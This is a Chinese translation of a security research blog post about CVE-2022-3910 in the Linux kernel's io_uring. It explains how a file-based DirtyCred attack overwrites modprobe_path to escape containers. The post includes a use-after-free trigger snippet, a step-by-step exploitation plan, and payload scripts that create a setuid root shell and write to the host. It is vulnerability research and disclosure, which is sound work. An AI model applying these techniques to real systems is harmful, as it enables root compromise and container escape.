基于文件DirtyCred的容器逃逸新技术详解

本文详细分析CVE-2022-3910 Linux内核漏洞,介绍如何利用基于文件的DirtyCred技术实现容器逃逸,涵盖漏洞原理、利用技巧及在不同容器环境下的测试结果。

基于文件DirtyCred的容器逃逸新方法 | STAR Labs

目录

最近,我在研究针对Linux内核漏洞CVE-2022-3910的各种利用技术。在成功编写了一个利用DirtyCred实现本地权限提升的漏洞利用程序后,我的导师Billy问我是否可以通过修改代码,通过覆盖/proc/sys/kernel/modprobe来实现容器逃逸。

答案比预期的要复杂;这让我陷入了一个漫长而黑暗的技术探索过程…

在本文中,我将讨论漏洞的根本原因,以及我用来利用它的各种方法。

所有显示的代码片段都取自Linux内核v6.0-rc5的源代码,这是最新的受影响版本。

相关io_uring组件介绍

io_uring已经在这篇较早的文章中介绍得相当好了,所以我不会再重复相同的细节。相反,让我们专注于这个特定漏洞的相关组件。

这两个组件在Jens Axboe的幻灯片中都有简要讨论。

固定文件

固定文件或直接描述符可以看作是io_uring特定的文件描述符。io_uring维护对任何已注册文件的引用,以减少每次涉及它们的操作解析文件描述符所产生的额外开销;这个引用只有在固定文件被注销或io_uring实例被拆除时才会释放。

固定文件可以通过传递一个文件描述符数组给io_uring_register()来注册。或者,可以使用各种函数(如io_uring_prep_openat_direct())指示io_uring直接注册一个(无需用户空间程序首先使用其他系统调用获取文件描述符)。随后,可以通过设置IOSQE_FIXED_FILE标志并传递注册文件数组中的固定文件索引(而不是实际的文件描述符)来在未来的SQE中引用这些文件。

环消息

io_uring支持通过io_uring_prep_msg_ring()在环之间传递消息。更具体地说,根据手册页,此操作在目标环中创建一个CQE,其resuser_data设置为用户指定的值。

正如这里所指出的,此功能可用于唤醒等待环的休眠任务,或简单地传递任意信息。

漏洞分析

CVE-2022-3910是io_msg_ring()函数中的引用计数更新不当。源文件在这里,但相关代码片段如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

{
	struct io_msg *msg = io_kiocb_to_cmd(req, struct io_msg);
	int ret;

	ret = -EBADFD;
	if (!io_is_uring_fops(req->file))
		goto done;

	switch (msg->cmd) {
	case IORING_MSG_DATA:
		ret = io_msg_ring_data(req);
		break;
	case IORING_MSG_SEND_FD:

		break;
	default:
		ret = -EINVAL;
		break;
	}

done:
	if (ret < 0)
		req_set_fail(req);
	io_req_set_res(req, ret, 0);
	/* put file to avoid an attempt to IOPOLL the req */
	io_put_file(req->file);
	req->file = NULL;
	return IOU_OK;
}

漏洞本身的提示可以在补丁的提交消息中找到:

通常,io_uring的消息传递功能期望另一个io_uring实例的文件描述符。如果我们传入对其他任何内容的引用,它只会通过调用io_put_file()被丢弃,并返回错误。

如果我们传入一个固定文件,io_put_file()仍然被调用。但这种行为实际上是不正确的!我们没有获取文件的额外引用,因此不应该递减引用计数。

直接后果

io_put_file()只是fput()的包装器。你可以在这里找到其源代码,但以下理解已足够:

1
2
3
4
5
6
void fput(struct file *file)
{
	if (atomic_long_dec_and_test(&file->f_count)) {
		// 释放文件结构体
	}
}

换句话说,通过重复触发漏洞直到引用计数降至0,我们可以在io_uring继续持有对其引用的情况下释放相关的文件结构体。这构成了use-after-free。

以下是一些显示我们如何做到这一点的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct io_uring r;
io_uring_queue_init(8, &r, 0);
int target = open(TARGET_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644);

// 将目标文件注册为固定文件。
if (io_uring_register_files(&r, &target, 1) < 0) {
	perror("[-] io_uring_register_files");
}

struct io_uring_sqe * sqe;

// 引用计数当前为2
//(通过在io_msg_ring()中设置断点来检查)
for (int i=0; i<2; i++) {
	sqe = io_uring_get_sqe(&r);
	io_uring_prep_msg_ring(sqe, 0, 0, 0, 0);
	sqe->flags |= IOSQE_FIXED_FILE;
	io_uring_submit(&r);
	io_uring_wait_cqe(&r, &cqe);
	io_uring_cqe_seen(&r, cqe);
}

// 引用计数现在应该为0,文件结构体应该被释放。

我最初的漏洞利用尝试使用了一堆跨缓存喷射,并最终覆盖sk_buff结构体的析构函数(不是sk_buff->data分配,因为其最小大小太大)来获得执行控制。

这种"标准"漏洞利用不是本文的主要焦点,但如果你感兴趣,可以在这里查看我的代码。我未能在网上找到以与我相同方式使用sk_buff的其他文章,所以我认为值得简要提及。

DirtyCred技术

在我完成上述漏洞利用后,Billy鼓励我尝试编写一个不同的漏洞利用,改用DirtyCred。

DirtyCred是一种仅针对文件和凭据结构体的数据攻击。原始幻灯片比我能更清楚地解释这个概念,所以如果你不熟悉该技术,我建议先阅读此内容。特别相关的是"攻击打开文件凭据"部分,这正是我们将要使用的。

文件结构体

顾名思义,文件结构体表示一个打开的文件,并在文件打开时在filp slab缓存中分配。每个文件结构体跟踪其自己的引用计数,可以通过dup()close()等操作进行修改。当引用计数达到零时,结构体被释放。

此结构的一些重要成员如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct file {
        // ...
        const struct file_operations  * f_op;            /*    40     8 */
        // ...
        atomic_long_t              f_count;              /*    56     8 */
        // ...
        fmode_t                    f_mode;               /*    68     4 */
        // ...
        /* size: 232, cachelines: 4, members: 20 */
} __attribute__((__aligned__(8)));

让我们简要介绍每一个:

  • f_op是指向函数表的指针,该表决定在请求对文件进行操作时调用哪个处理程序。例如,对于存在于ext4文件系统上的所有文件,这是ext4_file_operations
  • f_count存储文件的引用计数。
  • f_mode存储文件的访问模式。这包括我们是否被允许从中读取或写入的标志。

注意:当我们多次open()同一个文件时,会分配多个文件结构体。相比之下,当我们在文件描述符上调用dup()时,现有文件结构体的引用计数会增加,并且不会进行新的分配。

代码分析

现在让我们尝试理解DirtyCred到底是如何工作的。假设我们以访问模式O_RDWR打开了文件A,并尝试写入它。这最终调用vfs_write(),如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
	ssize_t ret;

	// 权限检查在这里进行
	if (!(file->f_mode & FMODE_WRITE))
		return -EBADF;
	if (!(file->f_mode & FMODE_CAN_WRITE))
		return -EINVAL;
	if (unlikely(!access_ok(buf, count)))
		return -EFAULT;

	ret = rw_verify_area(WRITE, file, pos, count);
	if (ret)
		return ret;
	if (count > MAX_RW_COUNT)
		count =  MAX_RW_COUNT;

	// 实际写入在这里进行
	file_start_write(file);
	if (file->f_op->write)
		ret = file->f_op->write(file, buf, count, pos);
	else if (file->f_op->write_iter)
		ret = new_sync_write(file, buf, count, pos);
	else
		ret = -EINVAL;
	if (ret > 0) {
		fsnotify_modify(file);
		add_wchar(current, ret);
	}
	inc_syscw(current);
	file_end_write(file);
	return ret;
}

假设在权限检查完成之后但实际写入开始之前,我们设法释放了文件A的文件结构体,并喷射了一个新的对应不同文件B的文件结构体,我们以访问模式O_RDONLY打开了文件B。访问模式不会再次检查,因此写入将在文件B上执行,即使我们不应该被允许这样做!

但是有可能一致地赢得这场竞争吗?

传统DirtyCred:针对ext4文件

在DirtyCred的典型应用中,文件A和B都驻留在ext4文件系统上。在这种情况下,写入最终由ext4_buffered_write_iter()处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static ssize_t ext4_buffered_write_iter(struct kiocb *iocb,
					struct iov_iter *from)
{
	ssize_t ret;
	struct inode *inode = file_inode(iocb->ki_filp); // 局部变量!

	if (iocb->ki_flags & IOCB_NOWAIT)
		return -EOPNOTSUPP;

	inode_lock(inode); // <=== [A]
	ret = ext4_write_checks(iocb, from);
	if (ret <= 0)
		goto out;

	current->backing_dev_info = inode_to_bdi(inode);
	ret = generic_perform_write(iocb, from); // 实际写入在这里进行
	current->backing_dev_info = NULL;

out:
	inode_unlock(inode); // <=== [B]
	if (likely(ret > 0)) {
		iocb->ki_pos += ret;
		ret = generic_write_sync(iocb, ret);
	}

	return ret;
}

ssize_t generic_perform_write(struct kiocb *iocb, struct iov_iter *i)
{
	struct file *file = iocb->ki_filp;
	// ...
}

为了避免多个任务同时写入同一文件产生的问题,写入操作被包含在互斥锁中。换句话说,任何时候只有一个进程可以写入文件。这使我们能够用下图所示的想法稳定漏洞利用(取自DirtyCred幻灯片):

当线程A对文件A执行慢写入时,它获取相应inode的锁。这阻止线程B进入[A]和[B]之间的临界区。我们可以利用这个等待期将文件A的文件结构体换出为文件B的文件结构体。当线程A释放inode锁时,线程B获取它并继续对错误的文件执行写入。

本地权限提升

不难看出这样的原语如何允许我们实现本地权限提升。一种可能性是通过定位/etc/passwd来添加具有root特权的新用户。但我采用了不同的方法,定位/sbin/modprobe

当我们尝试执行具有未知魔术头的文件时,内核将以root特权并从root命名空间调用由全局内核变量modprobe_path指向的二进制文件。默认情况下,这是/sbin/modprobe

因此,我用以下shell脚本覆盖了/sbin/modprobe

1
2
3
#!/bin/sh
cp /bin/sh /tmp/sh
chmod 4777 /tmp/sh

当我尝试执行具有无效魔术头的文件时,内核执行了上述脚本,创建了/bin/sh的setuid副本。我们现在有一个root shell。

技术探索

当我把我的漏洞利用给Billy看时,他指出我的方法在容器化环境中不起作用,因为从容器的命名空间无法访问/sbin/modprobe。相反,他问我们是否可以直接通过/proc/sys/kernel/modprobe定位modprobe_path变量。

proc文件系统

/proc是一个伪文件系统,“充当内核内部数据结构的接口”。特别是,/proc/sys子目录允许我们更改各种内核参数的值,只需通过像文件一样写入它们。

作为一个相关的例子,/proc/sys/kernel/modprobe直接别名到modprobe_path内核全局变量,写入此"文件"将相应更改modprobe_path的值。

重要:如果我们不是root,就无法写入/proc/sys/*中的任何内容。但这不是大问题,因为我们可以先利用传统DirtyCred通过定位/etc/passwd获得本地权限提升。

应该清楚这些文件操作需要特殊的处理函数。与/proc/sys/*“文件"关联的文件结构体将f_op设置为proc_sys_file_operations

这产生了一个问题,因为之前的inode锁定技术依赖于ext4_buffered_write_iter()仍然可以成功写入目标文件的假设。实际上尝试使用/proc/sys/*文件执行此操作将导致未定义行为,通常会导致返回错误代码。

相反,我们必须在写入处理程序调用解析之前交换文件结构体,这意味着我们有以下竞争窗口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
	ssize_t ret;

	if (!(file->f_mode & FMODE_WRITE))
		return -EBADF;
	if (!(file->f_mode & FMODE_CAN_WRITE))
		return -EINVAL;
	// 竞争窗口开始
	if (unlikely(!access_ok(buf, count)))
		return -EFAULT;

	ret = rw_verify_area(WRITE, file, pos, count);
	if (ret)
		return ret;
	if (count > MAX_RW_COUNT)
		count =  MAX_RW_COUNT;

	file_start_write(file);
	// 竞争窗口结束
	if (file->f_op->write)
		ret = file->f_op->write(file, buf, count, pos);
	else if (file->f_op->write_iter)
		ret = new_sync_write(file, buf, count, pos);
	else
		ret = -EINVAL;
	if (ret > 0) {
		fsnotify_modify(file);
		add_wchar(current, ret);
	}
	inc_syscw(current);
	file_end_write(file);
	return ret;
}

这相当小。我们能提高机会吗?

新目标:aio_write()

内核AIO子系统(不要与POSIX AIO混淆)是一个有些过时的异步I/O接口,可以看作是io_uring的前身。Billy指向我aio_write()函数,如果我们通过内核AIO接口请求写入系统调用,将调用该函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int aio_write(struct kiocb *req, const struct iocb *iocb,
			 bool vectored, bool compat)
{
	struct iovec inline_vecs[UIO_FASTIOV], *iovec = inline_vecs;
	struct iov_iter iter;
	struct file *file;
	int ret;

	ret = aio_prep_rw(req, iocb);
	if (ret)
		return ret;
	file = req->ki_filp;

	if (unlikely(!(file->f_mode & FMODE_WRITE)))
		return -EBADF;
	if (unlikely(!file->f_op->write_iter))
		return -EINVAL;

	ret = aio_setup_rw(WRITE, iocb, &iovec, vectored, compat, &iter);
	if (ret < 0)
		return ret;
	ret = rw_verify_area(WRITE, file, &req->ki_pos, iov_iter_count(&iter));
	if (!ret) {
		/*
		 * 在这里对file_start_write进行开放编码以获取冻结保护,
		 * 这将在aio_complete_rw()中由另一个线程释放。
		 * 通过告诉lockdep锁已被释放来欺骗它,以便当我们返回到用户空间时它不会抱怨持有的锁。
		 */
		if (S_ISREG(file_inode(file)->i_mode)) {
			sb_start_write(file_inode(file)->i_sb);
			__sb_writers_release(file_inode(file)->i_sb, SB_FREEZE_WRITE);
		}
		req->ki_flags |= IOCB_WRITE;
		aio_rw_done(req, call_write_iter(file, req, &iter));
	}
	kfree(iovec);
	return ret;
}

aio_setup_rw()使用copy_from_user()从用户空间复制iovecs。此外,它位于我们的竞争窗口内(在权限检查之后,但在写入处理程序解析之前)。因此,如果我们有权访问userfaultfd或FUSE,我们可以一致地赢得竞争,允许我们将写入操作重定向到/proc/sys/kernel/modprobe

但是等等。为什么有人需要在容器内启用FUSE或用于userfaultfd的内核页面故障处理?可悲的事实是,利用上述技术所需的条件过于严格,在平均真实世界利用场景中无用。

注意:从技术上讲,即使userfaultfd内核页面故障处理被禁用,如果我们有CAP_SYS_PTRCAP能力(实际检查在这里),我们仍然可以使用它。然而,一般来说,即使作为容器root,我们也不太可能拥有此能力。

除非…

慢页面故障救援

让我们思考一下userfaultfd和FUSE在我们利用技术中扮演的角色。当内核在尝试从用户空间复制数据时遇到页面故障:

  • userfaultfd导致故障内核线程暂停,直到我们从用户空间处理页面故障。
  • 当内核尝试将故障页面加载到内存时,调用我们的自定义FUSE读取处理程序。

在这两种情况下,我们可以简单地在copy_from_user()调用处暂停内核线程,直到我们完成其他工作,比如堆喷射。但是否可能使页面故障花费足够长的时间,以便我们可以在该时间窗口内完成堆喷射?

在我花费几次尝试实验各种不太有效的想法后,Billy建议采用这种方法来显著增加页面故障产生的延迟(图片来自Google CTF discord):

shmem_fault()包含一个有用的注释,解释了为什么会这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
/*
 * Trinity发现探测tmpfs正在打孔的空洞可以
 * 阻止打孔完成:这反过来
 * 通过其对i_rwsem的持有将写入者锁定在外。所以在打孔时
 * 避免将页面故障到空洞中。尽管
 * shmem_undo_range()确实删除了添加,但它可能无法
 * 跟上,因为每个新页面都需要自己的unmap_mapping_range()调用,
 * 并且如果添加新的vmas,i_mmap树的扫描会变得越来越慢。
 *
 * 如果我们有时在打孔开始之前刚到达此检查,以便一次故障然后与打孔竞争:
 * 我们只需要使竞争故障成为罕见情况。
 *
 * 如果我们只使用标准互斥锁或完成,下面的实现会简单得多:
 * 但我们无法在故障中获取i_rwsem,并且
 * 为这种不太可能的情况膨胀每个shmem inode将是悲伤的。
 */

整体利用方案

总之,我们的攻击计划如下:

  1. 以访问模式O_RDWR打开某个随机文件,文件A。内核将分配相应的文件结构体。

  2. 使用漏洞,重复递减文件A的文件结构体的引用计数,直到下溢。这释放了它,尽管文件描述符表仍然包含对它的引用。

    注意:这是必要的,因为fget()(稍后在我们提交AIO请求时将被调用)如果在引用计数为0的文件结构体上调用,将导致内核停滞。违规代码在这里(检查get_file_rcu的宏扩展)。

  3. 使用memfd_create()创建并获取临时文件B的文件描述符。使用fallocate()为其分配大量内存。

  4. 使用跨越页面边界的缓冲区准备AIO请求。第二页应由文件B支持,并且尚未驻留在内存中。

  5. (CPU 1,线程X):在文件B上调用带有模式FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZEfallocate()

  6. (CPU 1,线程Y):提交AIO请求。这触发由文件B支持的页面的页面故障。由于打孔正在进行,线程Y将把自己放在等待队列上,暂停执行直到线程X完成。

  7. (CPU 0,线程Z):当线程Y暂停时,重复在/proc/sys/kernel/modprobe上调用open()以用相应的文件结构体喷射堆,用/proc/sys/kernel/modprobe的文件结构体覆盖文件A的文件结构体。

  8. 线程Y恢复执行,写入在/proc/sys/kernel/modprobe上执行。

你可以在这里找到漏洞利用的源代码。

实际容器测试

一旦所有这些完成,我继续尝试我的漏洞利用针对我在易受攻击的Ubuntu Kinetic镜像上设置的一些测试容器。这NOT运行内核版本v6.0-rc5,但任何与漏洞利用相关的代码几乎没有变化,所以这不应该是个问题。

注意:更具体地说,我使用了这个镜像,然后手动将内核降级到受影响版本(ubuntu 5.19.0-21-generic)。

为了演示成功的容器逃逸而不使事情过于复杂,我选择了一个简单的有效载荷,它在主机的系统上(容器外部)创建一个文件:

1
2
3
#!/bin/sh
path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /proc/mounts)
echo "container escape" > /home/amarok/c

标准Docker容器

命令:sudo docker run -it --rm ubuntu bash

令人惊讶的是,我的漏洞利用对第一个测试目标不起作用。相反,我收到了Permission denied。怎么回事?

事实证明,在调用aio_setup_rw()之后,rw_verify_area()调用安全钩子函数。默认情况下,Docker容器在受限的AppArmor配置文件下运行,因此aa_file_perm()中的额外权限检查失败,导致aio_write()返回而不实际执行写入操作。😥

禁用AppArmor的Docker容器

命令:sudo docker run -it --rm --security-opt apparmor=unconfined ubuntu bash

但是,如果Docker容器以apparmor=unconfined运行,aa_file_perm()在实际权限检查发生之前提前退出,允许我们的漏洞利用顺利进行。

这种情况不是超级有用,因为不太可能有人会在已部署的Docker容器上特意禁用AppArmor。

标准containerd容器

命令:sudo ctr run -t --rm docker.io/library/ubuntu:latest bash

如果我们改为使用直接在containerd API之上操作的ctr命令行客户端启动容器,漏洞利用也可以正常工作。这很整洁!我们可以使用这种技术逃逸开箱即用的containerd容器。这是这种技术更现实的用例。🙂

演示

现在是演示时间。这是漏洞利用针对全新containerd容器运行的视频:

致谢

我要感谢:

  • 我的导师Billy采纳了我看似荒谬的想法,并设法帮助我改进和稳定它,成为一种新的、一致的容器逃逸技术。
  • Star Labs的其他人 :)
  • @pql的慢页面技术。

参考文献

io_uring

DirtyCred

proc文件系统

内核AIO

fallocate()慢页面

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计